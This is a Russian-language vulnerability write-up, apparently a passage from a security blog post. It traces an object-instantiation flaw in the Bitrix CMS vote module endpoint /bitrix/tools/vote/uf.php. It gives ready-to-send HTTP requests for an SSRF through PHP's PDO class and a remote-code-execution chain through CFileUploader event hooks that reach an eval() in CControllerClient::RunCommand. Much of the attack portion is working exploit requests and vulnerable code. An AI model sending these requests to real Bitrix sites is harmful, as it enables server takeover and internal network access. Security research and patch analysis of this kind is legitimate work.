vote это модуль, который идёт в поставке начиная с коробки Стандарт. Он каким-то
образом, добавляет функционал для голосования в системе и нам это абсолютно неважно. Важно то, что при анализе исходного кода в первую очередь ищется максимальное
количество конечных точек, где может быть осуществлено внедрение пользовательских
данных с последующей их обработкой. Которое позволит перехватить стандартную логику.
И один из сценариев структуры этого модуля стал такой точкой.
/bitrix/tools/vote/uf.php принимает на вход юзер-инпут и один из маршрутов этих
данных, путем различных манипуляций и проверок, доходит до уязвимого кода.
Предлагаю взглянуть на реверс стектрейс:
#7: require(string)
/var/www/html/bitrix/bitrix/tools/vote/uf.php:1
#6: Bitrix\Vote\Base\Controller->exec()
/var/www/html/bitrix/bitrix/modules/vote/tools/uf.php:22
#5: Bitrix\Vote\Base\Controller->runAction()
/var/www/html/bitrix/bitrix/modules/vote/lib/base/controller.php:104
#4: call_user_func(array)
/var/www/html/bitrix/bitrix/modules/vote/lib/base/controller.php:458
#3: Bitrix\Vote\Attachment\Controller->processActionVote()
#2: Bitrix\Vote\Attach->canRead(NULL)
/var/www/html/bitrix/bitrix/modules/vote/lib/attachment/controller.php:75
#1: Bitrix\Vote\Attach->getConnector()
/var/www/html/bitrix/bitrix/modules/vote/lib/attach.php:443
#0: Bitrix\Vote\Attachment\Connector::buildFromAttachedObject(object)
/var/www/html/bitrix/bitrix/modules/vote/lib/attach.php:491
/var/www/html/bitrix/bitrix/modules/vote/lib/attachment/connector.php:33
Размотать это впервые, вручную, было довольно весёлым (нет) занятием. И вряд ли
кому-то нужна целая простыня кода с пояснением здесь, ведь это не примитивный
пережиток прошлого подобно virtual_file_system.php, а вполне себе ООП. Поэтому
всех любознательных, прошу проследовать по приведённом дебагу и изучить подкапотку
самостоятельно.А мы точечно и планомерно возвращаемся к
/bitrix/modules/vote/lib/attachment/connector.php:33, смотрим что же там
такого:
final public static function buildFromAttachedObject(\Bitrix\Vote\Attach
$attachedObject)
{
if(!Loader::includeModule($attachedObject->getModuleId()))
{
throw new SystemException("Module
{$attachedObject->getModuleId()} is not included.");
}
$className = str_replace('\\\\', '\\',
$attachedObject->getEntityType());
/** @var \Bitrix\Vote\Attachment\Connector $connector */
$connector = new $className($attachedObject->getEntityId());
if(!$connector instanceof Connector)
{
throw new ObjectNotFoundException('Connector class should be
instance of Connector.');
}
if($connector instanceof Storable)
{
$connector->setStorage($attachedObject->getStorage());
}
return $connector;
}
/bitrix/modules/vote/lib/attachment/connector.php
$connector = new $className($attachedObject->getEntityId()); именно это
находится на 33 строке файла. Где мы контролируем имя класса и аргумент! Ну вот
именно так разработчик решил проверять принадлежность класса, создавая экземпляр,
он художник, он так видит. А нам это говорит о том, что можно вызвать конструктор
(__construct) любого подключенного в текущий момент класса, в том числе встроенных
в PHP.Пример SSRF используя built-in класс PDO:
POST
/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=PDO&attachId[ENTITY_ID]=uri
:http://some.internal.host/&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: bitrix
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=mueruojo5ib155i8dhotfigv88;
Content-Type: application/x-www-form-urlencoded
sessid=6dbcf1c7e0f377899b688e033564fb07
В логах получим:
127.0.0.1 - - [01/May/2022:02:21:50 +0300] "GET / HTTP/1.0" 404 1216 "-" "-"
Достаточно весело, но не так как с RCE. Чтож, давайте продолжать.
Во время первичных раскопок, потыкав маленько что-то из личного запаса и убедившись,
что с наскоку ничего сделать не получится. Пришлось изучать все конструкторы битрикса,
коих в издании Стандарт насчиталось около 1200 штук. Поэтому какое-то время
пришлось наблюдать подобную монотонную рябь:
Но вас, благо, минует эта участь. Долго ли, коротко ли (не коротко), был найден очень
крутой класс CFileUploader. Помимо того, что он сам по себе позволяет через этот
Object Instantiation грузить произвольные файлы (фактически уже RCE).Так он ещё даёт нам возможность вызывать произвольные статические методы других
классов и этим грех не воспользоваться. Точнее вызывать дает не он, а
\Bitrix\Main\UI\Uploader\File\File, а если ещё точнее и не он тоже, но
инициатором всё же является CFileUploader. На этом и порешаем, а теперь PoC:
POST
/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTI
TY_ID][events][onFileIsStarted][]=CControllerClient&attachId[ENTITY_ID][eve
nts][onFileIsStarted][]=RunCommand&attachId[MODULE_ID]=vote&action=vote
Тот самый триггер вызова произвольных статических методов, о котором говорилось
ранее. Есть ExecuteModuleEventEx, который является частью событийного
функционала главного модуля (/bitrix/modules/main/classes/general/module.php). И в этом
кейсе, он усердно трудится в /bitrix/modules/main/lib/ui/uploader/file.php:
...
$eventName = "onFileIsStarted";
...
foreach(GetModuleEvents(Uploader::EVENT_NAME, $eventName, true) as
$event)
{
$error = "";
if (!ExecuteModuleEventEx($event, array($this->getHash(),
&$this->data, &$error)))
{
$this->addError(new Error($error, "BXU350.1"));
break;
}
}
/bitrix/modules/main/lib/ui/uploader/file.php
Где вызывает нам статический метод CControllerClient::RunCommand:
public static function RunCommand($command, $oRequest, $oResponse)
{
global $APPLICATION, $USER, $DB;
return eval($command);
}
/bitrix/modules/main/classes/general/controller_member.php
А помогает в пробросе аргументов CFileUploader, любезно протаскивая их через
параметр bxu_files. Как-то так. Там ещё не мало подкапотки, что осталась за кадром,
но саму суть цепочки, надеюсь объяснил.
В какой-то из следующих версий, в коде произошли изменения. Значение
$this->getHash() которое, в нашем случае, является ключом массива bxu_files
стали хешировать. |